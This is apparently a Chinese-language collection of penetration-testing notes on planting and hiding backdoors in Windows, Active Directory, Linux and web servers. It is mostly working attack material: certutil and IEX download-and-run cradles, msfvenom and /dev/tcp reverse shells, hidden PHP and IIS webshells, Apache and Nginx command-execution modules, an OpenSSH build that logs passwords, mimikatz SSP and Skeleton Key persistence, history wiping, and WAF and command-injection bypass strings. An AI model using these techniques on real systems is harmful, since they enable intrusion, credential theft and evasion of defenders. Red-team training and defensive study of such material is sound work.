PS > Import-Module .\WMI-Persistence.ps1PS > Install-Persistence



PS > Check-WMI  重啟後即可上線system權限(要等待4-6分鐘)

自定義上線

attack->文件下載,exe木馬指定為文件。local uri為隨意文件,wmi.xsl放在web目錄


修改wmi.xsl

<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/>    <ms:script implements-prefix="user" language="JScript">    <![CDATA[    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c certutil -urlcache -split -f http://192.168.0.107/load.jpg %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://192.168.0.107/load.jpg delete",0);    ]]> </ms:script></stylesheet>


WMI-Persistence腳本修改payload地址為wmi.xsl$finalPayload=" wmic os get /FORMAT:`"$Payload`""



>powershell -exec bypassPS > Import-Module .\WMI-Persistence.ps1PS > Install-PersistencePS > Check-WMIPS > Remove-Persistence 刪除模塊重啟後即可上線




Invoke-Tasksbackdoor
>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.103/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method nccat -ip 192.168.0.103 -port 9999 -time 2"> powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.103/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method msf -ip 192.168.0.103 -port 8081 -time 2"



Invoke-ADSBackdoor
使用ADS創建一個隱藏文件,創建一個計劃任務每隔一分鐘請求一次攻擊。>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Backdoors/Invoke-ADSBackdoor.ps1'); Invoke-ADSBackdoor -PayloadURL http://192.168.0.107/ps/Schtasks-Backdoor.ps1 -Arguments 'Invoke-Tasksbackdoor -method nccat -ip 192.168.0.107 -port 12138 -time 1'"


生成 >msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.107 LPORT=12138 -f powershell -o /var/www/html/ads #use exploit/multi/handler #set payload windows/x64/meterpreter/reverse_https #run

ADS隱藏webshell
指定宿主文件,index.php是網頁正常文件>echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg<?php include(『index.php:hidden.jpg』)?><?php $a="696E6465782E7068703"."A68696464656E2E6A7067";$b="a";include(PACK('H*',$$b))?>>echo 9527 > 1.txt:flag.txt>notepad 1.txt:flag.txt或不指定宿主文件>echo hide > :key.txt>cd ../>notepad test:key.txt


上傳處繞過

上傳的文件名伺服器表面現象生成的文件內容test.php:a.jpg生成test.php空test.php::$DATA生成test.php
test.php::$INDEX_ALLOCATION生成test.php文件夾\test.php::$DATA\0.jpg生成0.jpg
ADS&JavaScript
創建一個txt文件,test.txt,隨便添加內容(實際的工具,即用戶要用的那個工具)。將程序寫入文件流(此處用calc.exe)>type calc.exe > test.txt:calc.exe使用mklink創建文件連結:>mklink config.txt test.txt:calc.exe創建readme.txt,文件內容隨便。設置為隱藏。創建readme.js,內容如下:var objShell = new ActiveXObject("shell.application");objShell.ShellExecute("cmd.exe", "/c config.txt", "", "open", 0);objShell.ShellExecute("README.txt", "", "", "open", 1);執行readme.js,運行calc.exe ,打開readme.txt


EmpireLNK後門
EmpireEmpire> set Host http://192.168.1.150Empire> set Port 8080>launcher powershell Listener's Name生成後只使用Base64的代碼。>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -EncScript Base64編碼"


清除後門

>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -CleanUp"



WMI
Empire>powershell/persistence/elevated/wmi

注入SSP被動收集密碼

需高權限

Mimikatz
重啟失效>privilege::debug>misc::memssp鎖屏>rundll32.exe user32.dll,LockWorkStation



登錄的帳號密碼保存在

C:\Windows\System32\mimilsa.log

重啟有效

將mimikatz中的mimilib.dll放入system32目錄>reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" 查看註冊表>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ  添加mimilib


有帳號登錄密碼保存在C:\Windows\System32\kiwissp.log重啟也有效


Empire
複製mimilib.dll到system32文件夾中>shell copy mimilib.dll C:\Windows\System32\使用模塊>usemodule persistence/misc/install_ssp*>set Path C:\Users\Administrator\mimilib.dll

Powersploit
>Import-Module .\PowerSploit.psm1>Install-SSP -Path .\mimilib.dll



基於域策略文件權限後門
域的組策略和腳本存放在域控機的C:\Windows\SYSVOL\sysvol\zone.com\Policies目錄,域內機器定時訪問以更新策略域控機設置policies為everyone完全控制>cacls C:\Windows\SYSVOL\sysvol\zone.com\Policies /e /t /c /g "EveryOne":f


使用powerview查詢域內機對應策略文件

PS> Get-NETGPO -ComputerName sub2k8.zone.com |fl gpcfilesyspath打開C:\Windows\SYSVOL\sysvol\zone.com\Policies\{id}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf末尾添加[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1手動刷新策略>gpupdate /force劫持taskhost.exe,可替換c:\windows\system32\calc.exe為後門文件或語句。


Kerberoasting後門

當有setspn權限時,為域用戶添加一個SPN
>setspn -U -A RDP/zone.com godadmin

域內任何主機可以使用Kerberoast 獲得TGS
https://github.com/malachitheninja/Invoke-Kerberoast

>Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation |Out-File xx.txt


或使用rubeus.exe

破解

>hashcat -m 13100 -a 0 kerberos.txt wordlist.txt


S4U2Self後門

域控執行,尋找具備SPN且密碼永不過期的帳戶

>Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires| ? {($_.ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}


使用mimikatz的dcsync提取用戶hash

>lsadump::dcsync /domain:zone.com /user:y



布置後門

>Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount 帳戶


布置完成後利用,登錄帳戶y
觸發後門

>Rubeus.exe s4u /user:y /aes256:{aes256} /domain:zone.com /msdsspn:krbtgt /impersonateuser:godadmin


注入票據,獲取域控的CIFS、LDAP服務

>Rubeus.exe asktgs /ticket:{} /service:cifs/dc.zone.com,ldap/dc.zone.com /ptt

受限委派後門
http://192.168.0.107/ps/nishang/ActiveDirectory/Add-ConstrainedDelegationBackdoor.ps1新增一個受限委派服務帳戶,或添加受限委派後門功能給一個已知帳戶密碼存在的服務帳戶。需運行在域控制器上,本次演示的是新建後門帳戶,若是給已知帳戶密碼的服務帳戶添加功能,步驟一致。PS > Add-ConstrainedDelegationBackdoor -SamAccountName backdoor -Domain zone.com -AllowedToDelegateTo ldap/dc.zone.com密碼默認為Password@123!可以修改腳本中$Password參數修改密碼。



https://github.com/samratashok/ADModule導入ADModule中的Microsoft.ActiveDirectory.Management.dll和Import-ActiveDirectory.ps1>Import-Module Microsoft.ActiveDirectory.Management.dll -Verbose>Import-Module Import-ActiveDirectory.ps1現以域內普通用戶y登錄一臺域內機器sub2k8,使用kekeo獲取TGTKekeo#tgt::ask /user:backdoor /domain:zone.com /password:Passowrd@123!



使用mimikatz寫入TGS票據

mimikatz#kerberos::ptt C:\Users\y.ZONE\Desktop\kekeo\x64\TGS_godadmin@zone.com@ZONE.COM_ldap~dc.zone.com@ZONE.COM.kirbi


接下來就可以dcsync導出krbtgt的hash,通過krbtgt偽造黃金票據



Skeleton Key萬能鑰匙

域控上使用mimikatz執行

>privilege::debug>misc::skeleton



可以使用域內任何帳號以密碼mimikatz登錄任意域內主機
使用Empire模塊

>usemodule persistence/misc/skeleton_key*繞過LSA Protection>privilege::debug>!+>!processprotect /process:lsass.exe /remove>misc::skeleton



唯一IP訪問
>msfvenom -p windows/shell_hidden_bind_tcp LPORT=443 AHOST=192.168.0.107 -f exe > svchost.exe只有當107這臺機器連接時可獲得shell,其他機器不可以。



Linux cron後門
>msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.107 LPORT=12138 -f raw > /var/www/html/shell.sh(crontab -l;printf "*/1 * * * * /bin/bash /tmp/shell.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -


#!bash(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.1.1/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

Strace記錄ssh密碼
安裝strace添加alias ssh='strace -o /tmp/.log -e read,write,connect -s 2048 ssh'


SSHD後門
>ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;執行後開啟31337埠,使用root任意密碼登錄>ssh root@192.168.1.1 -p 31337

進程注入
http:靶機>./cymothoa -p 進程PID -s 1 -y 埠攻擊機>nc -vv ip 埠

SSH wrapper後門
#cd /usr/sbin#mv sshd ../bin#echo '#!/usr/bin/perl' >sshd#echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd#echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd#chmod u+x sshd#/etc/init.d/sshd restart攻擊機執行>socat STDIO TCP4:192.168.0.110:22,sourceport=13377




SUID Shell
>cp /bin/bash /tmp/tmp>chmod u+s /tmp/tmp>/tmp/tmp -p



SSH公私鑰登錄

>vim /etc/ssh/sshd_conf取消以下注釋

>ssh-keygen生成複製/root/.ssh/id_rsa.pub文件到攻擊端的/root/.ssh/authorized_keys>ssh -i id_rsa targer@1.1.1.1


Reptile
https:安裝>apt install build-essential libncurses-dev linux-headers-$(uname -r)>git clone https:

Kbeast_rootkit
http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gzversion - 0 : 2.6.18 (RHEL/CentOS 5.x)        1 : 2.6.32 (Ubuntu 10.x) [default version]修改配置config.h安裝路徑、日誌路徑、埠、連接密碼、連接用戶



./setup build攻擊機連接>telnet 192.168.1.1 13377



OpenSSH後門
下載http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gzhttp://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz備份配置文件>mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old>mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old安裝關聯文件centos>yum install -y openssl openssl-devel pam-devel zlib zlib-develUbuntu>apt-get install -y openssl libssl-dev libpam0g-dev>tar zxvf openssh-5.9p1.tar.gz >tar zxvf 0x06-openssh-5.9p1.patch.tar.gz >cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/>cd openssh-5.9p1>patch <sshbd5.9p1.diff>vim includes.h


/tmp/ilog記錄登錄到本機的用戶密碼
/tmp/olog記錄本機登錄其他機器的帳戶密碼
日誌文件前可以加個.隱藏起來
SECRETPW是連接後門密碼
查看當前版本
>ssh -V

修改version.h改為當前版本

編譯安裝

Centos7>./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5>make clean>make && make install>systemctl restart sshd.serviceubuntu>./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam>make clean>make&&make install重啟服務,修改文件日誌>touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config>touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config


清除痕跡

>export HISTFILE=/dev/null>export HISTSIZE=0>export HISTFILESIZE=0>sed -i 's/192.168.0.1/127.0.0.1/g' /root/.bash_history

IPTables埠復用
>iptables -t nat -N LETMEIN >iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22# 開啟開關>iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT# 關閉開關>iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT>iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN攻擊端:#開啟復用>echo threathuntercoming | socat - tcp:192.168.0.110:80#ssh使用80埠進行登錄ssh -p 80 root@192.168.0.110#關閉復用echo threathunterleaving | socat - tcp:192.168.0.110:80


文件處理

>chattr +I shell.sh

>vim .shell.sh

>attrib +s +h +r 1.txt

>touch -r 1.file 2.file 修改2file文件的時間跟1file時間相同



IIS_Bin_Backdoor
From:https://github.com/WBGlIl/IIS_backdoorIIS_backdoor_dll.dl放入 web 目錄的 bin 文件夾中配置 web.config 文件
<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <modules> <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" /> </modules> </system.webServer></configuration>IIS_backdoor_shell.exe執行命令


使用IISBackdoor太明顯,容易被看出是後門,這裡對後門改名

重新生成解決方案,dll放入bin目錄,web.config修改為

<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <modules>          <add name="UrlRoutingModule" type="UrlRoutingModule.IISModule" />        </modules>    </system.webServer></configuration>



添加完之後會自動在模塊中註冊好

執行payload,msf生成raw格式payload,選擇shellcode選項,raw文件拖入即可>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.raw



IIS_NETDLL_Spy
From:https:原作者提及三種方式,第一種編譯代碼為DLL新建aspx文件實例化後門類來執行命令,第二種是做httphandler映射可指定一個後綴執行命令保存文件在web伺服器上,再讀取結果。第三種是使用jsc.exe編譯js腳本生成dll,添加映射菜刀連接。這裡根據原作者的代碼,進行了一下簡單的修改,修改後的功能為添加httphandler映射指定一個後綴執行命令顯示在頁面上,不用保存在伺服器中再訪問。代碼
using System;using System.Diagnostics;using System.IO;using System.Text;using System.Web;namespace IsapiModules{ public class Handler : IHttpHandler { public bool IsReusable { get { return false; } } public void ProcessRequest(HttpContext context) { string input = context.Request.Form["InternetInformationService"]; if (context.Request.Form["microsoft"] == "iis") { this.cmdShell(input); } } public void cmdShell(string input) { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.Arguments = "/c " + input; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.Start(); StreamReader output = process.StandardOutput; String result = output.ReadToEnd(); output.Close(); output.Dispose(); HttpContext.Current.Response.Write(result); } }}


保存為隨意後綴,使用csc編譯。

>C:\Windows\Microsoft.NET\Framework\v2.50727\csc.exe /t:library /r:System.Web.dll -out:C:\inetpub\wwwroot\Bin\SystemIO.dll C:\inetpub\wwwroot\bin\code.cs


Web.config文件添加

<system.webServer>  <handlers>     <add name="PageHandlerFactory-ISAPI-2.0-32" path="*.xxx" verb="*" type="IsapiModules.Handler" resourceType="Unspecified" requireAccess="Script" preCondition="integratedMode" />   </handlers> </system.webServer>



打開IIS管理器,可以看到處理映射管理器中已經添加了模塊。

現在隨意訪問個xxx後綴的文件

帶參數訪問
microsoft=iis&InternetInformationService=net user

第三種連接菜刀,這裡也對代碼修改了一下。

import System; import System.Web; import System.IO; package IsapiModule{   public class Handler implements IHttpHandler{     function IHttpHandler.ProcessRequest(context : HttpContext){       context.Response.Write("404 Not Found")       var I = context;       var Request = I.Request;       var Response = I.Response;       var Server = I.Server;       eval(context.Request["Internet"]);     }     function get IHttpHandler.IsReusable() : Boolean{ return true}  }}使用jsc編譯>C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:library -out:C:\inetpub\wwwroot\Bin\IsapiModule.Handler.dll C:\inetpub\wwwroot\bin\code.js



編輯web.config,添加映射,這裡指定的後綴是.iis<system.webServer> <modules runAllManagedModulesForAllRequests="true"/> <directoryBrowse enabled="true"/><staticContent> <mimeMap fileExtension=".json" mimeType="application/json" />  </staticContent> <handlers> <add name="PageHandlerFactory-ISAPI-2.0-32-1" path="*.iis" verb="*" type="IsapiModule.Handler" preCondition="integratedMode"/> </handlers></system.webServer>已自動加入了映射。現在隨便訪問個iis後綴的文件。



可使用菜刀直接連接

IIS_RAID
From:https:在vs2019下編譯在Functions.h中修改連接密碼,passfile是dump下來的密碼保存的位置,com_header是後門和伺服器通信的請求頭。


打開項目修改完你的密碼,直接ctrl+B生成解決方案即可(這裡生成的是release版本)
Dll傳到伺服器,改個名字,執行添加模塊

>C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:IsapiDotNet /image:"c:\windows\system32\inetsrv\IsapiDotNet.dll" /add:true


在模塊中可以看到已經存在了

遠程連接

>python3 iis_controller.py --url http://192.168.0.98 --password thisismykey執行命令的方式是>cmd +命令



Dump命令可以dump下來IIS站點的登錄的信息,保存在設置的位置。
Inject可以執行shellcode
Cs/msf生成raw格式的shellcode
>inject 位置


JAVA Web Backdoor
From:https:https:當獲取一個webshell或bashshell權限時,下載後門執行注入進程形成無文件復活後門下載後解壓到任意web目錄

得到2個jar文件
執行,password設置為你的密碼
>java -jar inject.jar password

注入成功,在web任意頁面任意url執行命令


可執行命令,反彈shell,上傳/下載文件,列目錄,讀文件,添加代理,連接菜刀


Tomcat JSP HideShell
From:https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoAhttps://github.com/QAX-A-Team/HideShell把自己的shell和hideshell傳入靶機,先訪問自己的shell,目的是為了讓 Tomcat 將它編譯,並生成 JspServletWrapper 保存在 JspRuntimeContext 中。


再訪問hideshell.jsp,點擊hide你的shell。

已經隱藏了

再訪問hideshell.jsp,可以看到隱藏後的shell的文件名。

訪問看看

當然,也可以把hideshell自身隱藏了,那訪問它的方式就是hidden-hideshell.jsp

目錄裡啥都沒了

此方式隱藏之後請求不會產生日誌

那如果把shelltest文件夾刪掉權限還會在嗎?

是在的


Apache Module後門1
From:https:生成模板結構>apxs -g -n auth



編輯mod_auth.c文件

#include "httpd.h"#include "http_config.h"#include "http_protocol.h"#include "ap_config.h"#include <stdio.h>#include <stdlib.h>static int auth_handler(request_rec *r){    const apr_array_header_t    *fields;    int                            i;    apr_table_entry_t           *e = 0;    char FLAG = 0;    fields = apr_table_elts(r->headers_in);    e = (apr_table_entry_t *) fields->elts;    for(i = 0; i < fields->nelts; i++) {        if(strcmp(e[i].key, "Authorizations") == 0){            FLAG = 1;            break;        }    }    if (FLAG){        char * command = e[i].val;        FILE* fp = popen(command,"r");        char buffer[0x100] = {0};        int counter = 1;        while(counter){            counter = fread(buffer, 1, sizeof(buffer), fp);            ap_rwrite(buffer, counter, r);        }        pclose(fp);        return DONE;    }    return DECLINED;}static void auth_register_hooks(apr_pool_t *p){    ap_hook_handler(auth_handler, NULL, NULL, APR_HOOK_MIDDLE);}module AP_MODULE_DECLARE_DATA auth_module = {    STANDARD20_MODULE_STUFF,     NULL,                      NULL,                      NULL,                      NULL,                      NULL,                      auth_register_hooks  };編譯後重啟apache>apxs -i -a -c mod_auth.c && service apache2 restart



原文件接受的頭是backdoor太明顯,這裡換成了Authorizations

或使用python來執行

import requestsimport sysdef exploit(host, port, command):    headers = {        "Authorizations": command    }    url = "http://%s:%d/" % (host, port)    response = requests.get(url, headers=headers)    content = response.content    print contentdef main():    if len(sys.argv) != 3:        print "Usage : "        print "\tpython %s [HOST] [PORT]" % (sys.argv[0])        exit(1)    host = sys.argv[1]    port = int(sys.argv[2])    while True:        command = raw_input("$ ")        if command == "exit":            break        exploit(host, port, command)if __name__ == "__main__":    main()Apache Module後門2From:https://github.com/VladRico/apache2_BackdoorMod.load文件傳入/etc/apache2/mods-available/目錄,.so文件傳入/usr/lib/apache2/modules/目錄啟動後門模塊,重啟apache>a2enmod backdoor&service apache2 restart


Cookie裡添加欄位password=backdoor
訪問http://ip/ping返回如下圖說明後門正常允許

訪問http://ip/revtty/192.168.0.107/12138 開啟反向連接,攻擊機109執行nc監聽12138即可

訪問http://ip/proxy/1337開啟socks代理

想要結束socks代理可執行
>echo "imdonewithyou" |nc 192.168.0.111 1337

即可結束socks代理
以上原作者的文件命名backdoor太明顯,可以自己修改文件重新編譯
創建模板結構命名為phpmodev

修改cookie內容為迷惑欄位Authorizations=PHPSESSIONID


Apache Module後門3
From: https:生成模板結構>apxs -g -n phpdevmod



編輯mod_phpdevmod.c文件
編譯
>make -e CC=x86_64-linux-gnu-g++

生成的.so文件在/.libs目錄下

將其複製到/usr/lib/apache2/modules/目錄

修改/etc/apache2/mods-enabled/php7.0.load文件,添加如下LoadModule phpdevmod_module /usr/lib/apache2/modules/mod_phpdevmod.so<Location /qq.jpg>    #可以設置為任何不存在的文件  setHandler phpdevmod</Location>



需重啟apache服務
訪問後門方式http://ip/qq.jpg?命令的url編碼
直接訪問後門文件

636174202F6574632F706173737764為cat /etc/passwd的url編碼


Nginx Lua後門

From:https://github.com/netxfly/nginx_lua_security
https://github.com/Y4er/Y4er.com/blob/251d88d8a3cf21e9bafe15c43d7900ffeacfa7ea/content/post/nginx-lua-backdoor.md
後門利用的前提是獲取到root權限,nginx安裝有lua模塊。
在nginx.conf中http節處添加,指定lua腳本位置,以及nginx啟動時加載的腳本

在lua目錄/waf/中新建Init.lua,內容如下,require nginx表示加載nginx.lua中的模塊。

/waf/目錄中新建nginx.lua實現執行命令,參數為waf。

在nginx配置文件中加入location。

效果:


PwnNginx
From:https:解壓好後編譯客戶端>make


編輯nginx的源文件/src/core/nginx.c找到configure arguments:在後面添加--prefix=/usr/local/nginx\n指定的是nginx安裝的目錄

重新編譯nginx添加後門模塊
>./configure --prefix=/usr/local/nginx/ --add-module=/tmp/pwnginx-master/module

>make

覆蓋新的nginx到原nginx目錄

>cp -f objs/nginx /usr/local/nginx/sbin/nginx


重啟nginx

>killall nginx&/usr/local/nginx/sbin/nginx連接>./pwnginx shell 目標機 nginx埠 密碼默認密碼是t57root,密碼的配置文件在pwnginx-master\module\config.h文件夾中,可在重新編譯nginx前修改密碼


此後門也可開啟socks隧道

紅隊tips父進程破壞
命令explorer.exe / root與cmd.exe / c類似,只不過使用explorer會破壞進程樹,會創建新實例explorer.exe,使之成為新實例下的子進程


loT高頻率帳戶密碼
Bypass mod_security
Xss和注入bypass mod_security/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... –<marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee>/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5—%75%6e%69on = union %73%65%6cect = select %75%6e%69 = uni = url encode %73%65%6c = sel = url encode

查找git和svn的字典


Top 25 重定向dorks


使用grep快速去除垃圾數據
curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*


已洩露的密碼整理出的字典
https:從網上洩露的10億條數據中整理出的。裡面257,669,588被篩選為損壞的數據或測試帳戶。10億個憑據可歸結為168,919,919密碼和393,386,953用戶名.平均密碼長度為9.4822個字符12.04%包含特殊字符,28.79%密碼僅是字母,26.16%僅是小寫,13.37%僅是數字,8.83%的密碼僅被發現一次與rockyou的對比,rockyou包含14,344,391個密碼,本字典與rockyou相差80%還有根據不同國家生成的小字典


命令注入Bypass
From: @shreyasrxcat /etc/passwd cat /e"t"c/pa"s"swd cat /'e'tc/pa's' swd cat /etc/pa??wd cat /etc/pa*wd cat /et' 'c/passw' 'd cat /et$()c/pa$()$swdcat /et${neko}c/pas${poi} swd *echo "dwssap/cte/ tac" | rev $(echo Y2FOIC9ldGMvcGFzc3dkCg== base64 -d) w\ho\am\i /\b\i\n/////s\h who$@ami xyz%0Acat%20/etc/passwd IFS=,;`cat<<<uname,-a`/???/??t /???/p??s?? test=/ehhh/hmtc/pahhh/hmsswd cat ${test//hhh\/hm/} cat ${test//hh??hm/}cat /???/?????d{cat,/etc/passwd}

文章來源:‍https://github.com/xiaoy-sec/Pentest_Note

相關焦點

  • 滲透測試常規操作記錄(中)
    使用launcher命令直接生成powershell或python腳本>launcher powershell Listener-Name使用rename對agents更名>rename 6NMCW4ZB target1使用main命令放回主菜單>list stale 列出失去權限的機器>remove stale 去除失去權限的機器連接靶機及其他操作
  • 滲透測試基礎
    滲透攻擊階段 -- Exploitation滲透攻擊是滲透測試過程中最具有魅力的環節。在此環節中,滲透測試團隊需要利用他們所找出的目標系統安全漏洞,來真正入侵系統當中,獲得訪問控制權。後滲透攻擊階段 -- Post Exploitation後滲透攻擊是整個滲透測試過程中最能夠體現滲透測試團隊創造力與技術能力的環節。
  • 企業級滲透測試服務思考
    企業市場也不斷湧現紅藍對抗的建設需求,攻防演練得到企業的重視,攻擊視角能幫助防守團隊找到防守視角的盲點,企業級滲透測試服務的採購也成為企業安全團隊思考的問題。滲透測試服務標準企業級滲透測試服務,是工程化的項目服務,具有完整的管理流程和標準化服務。儘管滲透測試的方法各不相同,但依然有一些標準化的方法體系規範,而對於企業內部安全部門在提供安全測試服務時,依然有可取之處。
  • 安全滲透測試
    安全滲透測試服務內容滲透測試服務是在獲得客戶的授權下,模擬黑客的攻擊方法對目標的信息系統進行的非破壞性質攻擊測試
  • 滲透測試BurpSuite使用
    Intruder – 可進行Web應用程式模糊測試,進行暴力猜解等。Repeater – 對數據包進行重放,可分析伺服器返回情況,判斷修改參數的影響。Sequencer – 用來檢查Web應用程式提供的會話令牌的隨機性.並執行各種測試。
  • Metasploit滲透測試實驗報告
    ;模擬灰盒測試對DVSSC(定V)公司的網絡進行滲透,最終得到系統權限,並有效開展後滲透攻擊。  2.在滲透過程中逐漸掌握科學的滲透測試方法,即 PTES標準滲透測試方法七個階段:  前期交互階段(跳過)  情報搜集階段  威脅建模階段  漏洞分析階段  滲透攻擊階段  後滲透攻擊階段  報告階段;  3.在滲透測試過程中逐漸清晰滲透所要求掌握的技能,有針對有目的的進行初步學習
  • 滲透測試——網絡服務滲透測試
    網絡服務滲透測試指的是:在之前的博客中描述的內存測試中,以遠程主機運行的某個網絡服務程序為目標,向該目標服務開放埠發送內嵌惡意內容並符合該網絡服務協議的數據包
  • 滲透測試內網滲透之信息收集(二)
    示例:C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*}C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSLRecon-Invoke-Portscan 埠掃描
  • 滲透測試流程與方法
    滲透測試還具有的兩個顯著特點是:滲透測試是一個漸進的並且逐步深入的過程。滲透測試是選擇不影響業務系統正常運行的攻擊方法進行的測試。滲透測試目的:入侵者可能利用的途徑:5.滲透攻擊階段滲透攻擊(Exploitation)是滲透測試過程中最具有魅力的環節。在此環節中,滲透測試團隊需要利用他們所找出的目標系統安全漏洞,來真正入侵系統當中,獲得訪問控制權。
  • 滲透技巧——Windows系統文件執行記錄的獲取與清除
    站在滲透的角度,當獲得了一臺Windows主機的權限後,需要全面了解這臺Windows主機的信息,文件執行記錄是重要的部分。而站在防禦的角度,文件執行記錄包含系統的重要信息,對其進行針對性的清除很有必要。所以本文將嘗試對Windows主機(Win7及以上系統)常見文件執行記錄的位置進行整理,嘗試獲取並清除單條記錄,分析利用思路,總結防禦方法。
  • 滲透測試之主動偵察和漏洞掃描
    隱形掃描技術包括或全部包含以下幾個方面:(一)調整源IP棧和工具識別設置在滲透測試(或攻擊)開始測試之前,它必須保證禁用或關閉所有Kali不必要的服務。例如,如果本地正在運行不是必需的DHCP守護進程,那麼DHCP可能與目標系統交互,這種交互可能會被記錄,並且發送警報到目標的管理員。
  • 滲透測試紅線Checklist
    多人協作的滲透項目中,往往每個人擅長點和經驗都不同,那麼團隊有一個人誤操作很有可能會帶來很嚴重的後果,導致入口打點被發現,或者內網滲透被監測到。
  • Kali Linux 高級滲透測試筆記
    閱讀本公眾號文章記得看下公眾號聲明,別的也沒啥說的了,開始吧。--no-failed 192.168.6.6 tlssled ssl偵查工具它運行速度快,操作簡單,且輸出對用戶友好。Empire工具是當今最強大的後期開發工具,並被全球滲透測試人員 用來在滲透測試中執行各種不同的攻擊,以論證系統漏洞。此工具運行 的PowerShell代理程序本質上是持久的。它還利用其他重要的工具,如 mimikatz。
  • 滲透測試:滲透某大學從弱口令到 docker 逃逸
    通過Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密碼,對進一步滲透是有很大幫助的。Mimikatz工具Mimikatz是由法國人Benjamin開發的一款功能強大的輕量級調試工具,因功能強大,能夠直接讀取Windows作業系統的明文密碼,因而聞名於滲透測試領域。
  • dc-9滲透測試記錄
    靶機來源:https://www.vulnhub.com/entry/dc-9,412/滲透準備:kali-linux
  • 黑客武器庫之手機安全滲透工具盤點(下)
    .001    ZantiZanti是由Zimperium公司打造的Android平臺下的滲透測試工具包。
  • 滲透實戰中 certUtil 命令使用小技巧記錄
    0x00 背景應急響應中經常使用 certutil 命令來計算樣本 Hash,在滲透測試項目中也可使用該命令,遇到 SQL 注入點時結合實際場景可使用
  • 滲透測試Tips
    反過來錢給用戶 2.順序執行缺陷:正常的邏輯是a-b-c-d 循環漸進的進行流程操作。這個時候就會產生邏輯問題:可以直接從中繞過某一個過程進入到下一步操作。如果說有一項是支付的操作,那麼也就會產生支付繞過,如果說有一項是驗證機制,就會繞過驗證直接進入下一步。
  • 滲透測試信息收集工具篇
